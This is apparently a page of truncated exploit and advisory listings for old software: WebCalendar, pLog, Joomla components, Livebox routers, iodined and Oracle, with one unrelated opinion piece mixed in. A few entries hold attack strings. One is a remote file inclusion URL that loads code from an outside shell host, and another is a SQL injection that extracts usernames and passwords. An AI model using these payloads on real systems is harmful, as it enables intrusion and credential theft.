Wmshop 6.0 Password Disclosure

Cyber-Warrior & Security TIM - Bug Researchers Group Application Name : Wmshop 6.0 - 5.08 Vulnerable Type : Arbitrary Forum Password Disclosure Vulnerability Infection : Forum Password Get... Author : Septemb0x Script Down.& WebSite : http://s2.dosya.tc/wmshop6.0.rar.html -...

Counterpoint: The need for a cybersecurity czar is real

As everyone prepares to examine the results of the Obama Administration’s cyber-security review, one of the largest issues in play remains to what extent the White House will embrace recommendations to create a Cabinet-level position to address the matter or some role superior to today’s “cyber...

iodined <= 0.4.2-2 (forged DNS packet) Denial of Service Exploit

No description provided by source. !/usr/bin/perl iodined = 0.4.2 DoS exploit by Albert Sellares whatsatwekkdotnet http://www.wekk.net 2009-04-26 This exploit shuts down the iodined daemon using a forged DNS packet. It works on the last debian stable version 0.4.2-2. It produces a segmentation...

SA-CONTRIB-2009-017 - Vote Up/Down - Cross-site request forgery

The Vote Up/Down module provides a voting widget for content that records votes using Ajax. The URL for voting is vulnerable to cross-site request forgeries CSRF making it possible for users to unknowingly vote for content. Versions affected Vote Up/Down 5.x-1.x prior to 5.x-1.1 Vote Up/Down...

Linux x86 - ifconfig eth0 down

No description provided by source. / Linux x86 - ifconfig eth0 down - 51 bytes Jonathan Salwan js.rac.projetATgmail.com Web: http://racprojet.zapto.org Disassembly of section .text: 08048060 start: 8048060: 6a 0b push $0xb 8048062: 58 pop %eax 8048063: 99 cltd 8048064: 52 push %edx 8048065: 68 64...

Neostrada Livebox Remote Network Down PoC Exploit

Neostrada Livebox Router Remote Network Down PoC Exploit Author: 0in aka zer0in from Dark-Coders Group! Contact: 0in.emailatgmail.com / 0inatdark-coders.pl Site: http://dark-coders.pl Greetings to: All Dark-Coders Members: die,doctor,m4r1usz,sun8hclf ; Friends: cOndemned,joker,chomzee,TBH IRC:...

Neostrada Livebox Router Remote Network Down PoC Exploit

No description provided by source. Neostrada Livebox Router Remote Network Down PoC Exploit Author: 0in aka zer0in from Dark-Coders Group! Contact: 0in.emailatgmail.com / 0inatdark-coders.pl Site: http://dark-coders.pl Greetings to: All Dark-Coders Members: die,doctor,m4r1usz,sun8hclf ; Friends:...

Neostrada Livebox Router Denial Of Service

Neostrada Livebox Router Remote Network Down PoC Exploit Author: 0in aka zer0in from Dark-Coders Group! Contact: 0in.emailatgmail.com / 0inatdark-coders.pl Site: http://dark-coders.pl Greetings to: All Dark-Coders Members: die,doctor,m4r1usz,sun8hclf ; Friends: cOndemned,joker,chomzee,TBH IRC:...

Neostrada Livebox Router - Remote Network Down (PoC)

Neostrada Livebox Router - Remote Network Down PoC Neostrada Livebox Router Remote Network Down PoC Exploit Author: 0in aka zer0in from Dark-Coders Group! Contact: 0in.emailatgmail.com / 0inatdark-coders.pl Site: http://dark-coders.pl Greetings to: All Dark-Coders Members:...

CVE-2008-4435

Multiple cross-site scripting XSS vulnerabilities in the RMSOFT Downloads Plus rmdp module 1.5 and 1.7 for Xoops allow remote attackers to inject arbitrary web script or HTML via the 1 key parameter to search.php and the 2 id parameter to down.php...

WebCalendar 1.0.4 (includedir) Remote File Inclusion Vulnerability

No description provided by source. Cr@zyKing :\ BiyoSecurity Team WebCalendar v1.0.4 Remote Fle Include Demo - Down : http://webcalendar.sourceforge.net/ http://localhost/patch/tools/sendreminders.php?noSet=0&includedir=http://sheLLz? Google Dork : "WebCalendar v1.0.4" www.biyosecurity.com Greatz...

pnews-sql.txt

pNews 2.08 Remote SqL İnj. VuLn. OrginaL : http://biyosecurity.com & http://coderx.org Cr@zyKing / sqL L0v3r'Z Crew Co. 2008 Script Down ; http://www.powie.de/cms/filedb/file.php?id=115&filecat=&eintrag=...

pNews 2.08 - 'shownews' SQL Injection

pNews 2.08 Remote SqL Ä°nj. VuLn. OrginaL : http://biyosecurity.com & http://coderx.org Cr@zyKing / sqL L0v3r'Z Crew Co. 2008 Script Down ; http://www.powie.de/cms/filedb/file.php?id=115&filecat=&eintrag=...

PLog 1.0.6 - albumID SQL Injection

PLog 1.0.6 - albumID SQL Injection pLog albumId Remote Sql Ä°nj. DreamTurk / [email protected] Down : http://sourceforge.net/project/showfiles.php?groupid=83964&packageid=86556 http://localhost/index.php?op=ViewAlbum&albumId=-1//union//select//0,1,user,password,4,5,6,7,8 from plogusers/&blogId=...

Joomla Component Artist (idgalery) SQL Injection Vulnerability

No description provided by source. Cr@zyKing / [email protected] Joomla Component Artist Remote Sql njection M4sterZ sqL / t4cs1zkr4L : Down : http://www.joomlaresource.com/joomladownloads/Download/JoomlaComponents/Artists/ http://localhost/index.php?option=comartist&idgalery=Sql Sql :...

CORE-2008-0129 - Wonderware SuiteLink Denial of Service vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ Wonderware SuiteLink Denial of Service vulnerability Advisory Information Title: Wonderware SuiteLink Denial of Service vulnerability Advisory ID: CORE-2008-0129...

DEBIAN-CVE-2007-4097

Tor before 0.1.2.15 sends "destroy cells" containing the reason for tearing down a circuit, which allows remote attackers to obtain sensitive information, contrary to specifications...

PoPToP pptpd DoS

Invalid PPTP packet causes connection tear-down...

CVE-2007-2120

The Oracle Discoverer servlet in Oracle Application Server 9.0.4.3, 10.1.2.0.2, and 10.1.2.2.0 allows remote attackers to shut down an Oracle TNS Listener via a TNS STOP command in a request that uses the database/TNS alias, aka AS01...

CVE-2006-7082: Undefined Security Weakness

Rigter Portal System RPS 1.0, 2.0, and 3.0 allows remote attackers to bypass authentication and upload arbitrary files via direct requests to 1 adm/photos/images.php and 2 adm/down/files.php...